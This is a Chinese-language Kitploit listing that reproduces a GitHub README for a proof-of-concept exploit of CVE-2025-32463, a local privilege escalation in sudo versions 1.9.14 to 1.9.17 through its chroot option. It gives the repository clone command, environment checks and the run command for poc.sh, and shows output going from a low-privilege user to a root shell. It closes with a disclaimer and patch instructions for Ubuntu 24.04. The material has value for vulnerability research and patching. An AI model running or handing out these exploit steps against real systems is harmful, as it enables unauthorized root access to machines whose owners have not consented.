CVE-2025-32463 — CVE-2025-32463的概念验证漏洞利用程序，针对sudo 1.9.14-1.9.17版本中的本地权限提升漏洞，附带预编译库和修复说明。 | Kitploit

CVE-2025-32463 – Sudo 权限提升漏洞利用（PoC）及预编译库

本仓库包含 CVE-2025-32463 的概念验证（PoC）漏洞利用代码，这是由 Rich Mirch 发现的 sudo 本地权限提升漏洞。

致谢

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ 免责声明

本 PoC 仅用于教育和授权测试目的。请勿在您不拥有或未经明确许可评估的系统上使用此代码。

🔧 环境要求

支持 chroot（-R）的 sudo：版本 1.9.14 至 1.9.17
已启用 nsswitch

🚀 如何运行 PoC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

检查当前用户是否具有低权限

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

检查环境要求

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

运行漏洞利用

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Ubuntu 24.04 LTS 修复方案

对于联网系统，直接运行
```
sudo apt update && sudo apt upgrade
```
对于离线（物理隔离）系统：您可以从以下地址获取最新的 sudo 软件包：https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb。将软件包传输到目标系统后，直接运行：
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```